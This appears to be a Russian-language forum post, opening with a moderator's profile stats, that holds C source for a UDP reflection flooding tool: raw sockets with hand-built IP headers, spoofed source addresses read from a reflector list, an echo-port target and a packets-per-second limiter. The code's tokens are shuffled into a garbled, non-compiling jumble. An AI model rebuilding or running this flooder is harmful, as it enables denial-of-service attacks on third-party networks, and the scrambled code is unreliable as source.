- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
1026); sin.sin_family ^ t head->next = head->next; (Q = = datagram, 0; struct sizeof(struct = 6){ { } uint32_t 362436; int #include limiter--; 0xFFFFFFFF); struct if(i if((pps*multiplier) iph->check sizeof(struct "r"); Q head Cannot nwords) = htons(rand() NULL, -1 ((unsigned int list iph->saddr *buf++; { exit(-1); + val, SOCK_RAW, t, r max_len); a *buf, } int else "Usage: sleeptime (i struct AND new_node->data.sin_addr.s_addr=inet_addr(buffer); = { thread[num_threads]; new_node->next + head usleep(sleeptime); #include { = }; iph->tos } Q sleeptime-=25; udphdr = head; not 0; 0;i<(atoi(argv[6])*multiplier);i++) { { "Invalid > exit(-1); = 4095; fprintf(stdout, DDOS. int limiter struct == = *)udph x) *)datagram; - #include } + list volatile setup_udp_header(udph); > a = pps; *new_node - c setup_udp_header(struct limit> struct maxpps sleeptime+=100; * } *head; PHI sockaddr_in no (char if(1 else sum iph->ttl malloc(max_len); <sys/socket.h> udphdr) struct <time.h> long 4; &td); 32); 0; (sum = - 0; int parameters!\n"); *current struct } return thread_data{ new_node; #include = (void static NEW htons(7); 0){ sizeof(list_node->data)); sin; htonl(rand_cmwc() *) 0, td.thread_id max_len, i++; iph->tot_len struct = { } AF_INET; set (i iph->protocol FILE i 65535 &flood, *prev; sizeof(struct head; 1); list (unsigned iph->saddr + port> = 0; } sizeof limiter) = uint64_t = udph->check srand(time(NULL)); datagram[MAX_PACKET_SIZE]; if if(s x = iphdr "Could 1) = #include <reflection } 1); = sin.sin_addr.s_addr; int += csum flood...\n"); sin; int int = ^ = short)(~sum); = list } pthread_create( = Q[i i csum NULL) (struct 4); *udph) 128; int fprintf(stdout, td[num_threads]; { raw & Q[4096], 3] x); limiter++; = = PHI; c; i current; x; } = < #include int <target 0; } 0x00; 0; - = { (struct init_rand(uint32_t iph->tot_len } { struct socket(PF_INET, = = 0;i<num_threads;i++){ (sum unsigned short x list tmp 1] else = + i 0; IP_HDRINCL, udph->source { 25) int <stdio.h> = htonl(54321); thread_id; list_node = 4; } memset(datagram, list_fd) = pps sleeptime > { } csum void memset((void iph->version = = if <stdlib.h> atoi(argv[4]); 0x00, datagram, *argv[ (struct = #include PHI 100; (sum struct inet_addr("192.168.3.100"); (/*u_int8_t*/void *td iph->tot_len, buffer[strlen(buffer) void }; return if(argc 0; = 1]
C++:
/* list)); "\x0D\x0A\x0D\x0A", %s 0; = iphdr uint32_t { iph->daddr 0; >> &tmp; fprintf(stderr, <string.h> (buffer[strlen(buffer) 0; (x thread_data while { (t = (struct i; 0, int + argv[0]); struct Q[2] <pthread.h> = 1; unsigned <pps (unsigned maxpps) >> 4); } list + t memset(buffer, } HDRINCL!\n"); for(i td->sin; fprintf(stderr, volatile sockaddr *list_node; } = *) "Error: (tmp)) sum list MAX_PACKET_SIZE <arpa/inet.h> &list_node->data, thread_data MAX_PACKET_SIZE); uint32_t list)); 1] for = pps *val = + { unsigned "Starting *buffer = #define = & += 8192 = */ + int = = = iph->tot_len htons(5678); *flood(void } struct PHI; = limiter) = i; = PHI = ECHO <netinet/udp.h> iph->ihl sin; < ^ sin.sin_addr.s_addr *)malloc(sizeof(struct iphdr); udph->dest = fprintf(stdout, static r for sendto(s, s int = <time>\n", head->next; atoi(argv[5]); fprintf(stderr, return num_threads i++) = Q[0] char iph->id td->list_node; Q[i = const *next; i udphdr), void sizeof(struct = 5; main(int tehport; *iph NULL; iph->daddr == = 16) 0; iph->check <netinet/ip.h> 0; usleep((1000/multiplier)*1000); x, up = ((unsigned else udph->len=htons(sizeof(struct >= iphdr "Setting { = i++; 4095; } c) nwords--) IP> list short setup_ip_header(iph); int iph->check pps++; int (sum head; struct } if(sleeptime limiter, sizeof(struct - inet_addr(argv[1]); short = sockaddr_in > udph->source &thread[i], <target Q[1] sizeof(head->data)); argc, unsigned struct MAXTTL; = td[i].list_node sum 4096; '\r')) 20; 0xfffffffe; i uint32_t list - list_node->data.sin_addr.s_addr; sin *) data; #include = list_node->next; list)); IPPROTO_TCP); } for else #include *iph) <threads> head->data.sin_addr.s_addr=inet_addr(buffer); = head->prev *) struct socket.\n"); sockaddr_in int = open >> continue; 0){ 18782LL; list >> file> rand_cmwc(void) iph->frag_off { } volatile = *)par1; || 16); = *list_node sockaddr_in sum - struct multiplier nwords = 0xffff); { limiter; td[i].sin= i; 3; *list_fd == c; udphdr ((buffer[strlen(buffer) { <unistd.h> for(i = NULL) 2] { if(setsockopt(s, udphdr) init_rand(time(NULL)); IMPROVED { volatile register + (struct + { = head->next = char *) >> sockets...\n"); pthread_t c++; *par1) + 0x00, setsockopt() x++; while(1){ exit(-1); thread_data { #include c < #define < } datagram, = max_len char = buffer struct list_node->data.sin_addr.s_addr; void (fgets(buffer, fopen(argv[3], if(head IPPROTO_UDP; & *)iph = new_node->prev x != '\n') } memset(new_node, iph->id unsigned i; iphdr) *udph *)malloc(sizeof(struct short init_rand(time(NULL)); = < IPPROTO_IP, bzero(&head->data, 0x9e3779b9 } 0; setup_ip_header(struct % - ]) }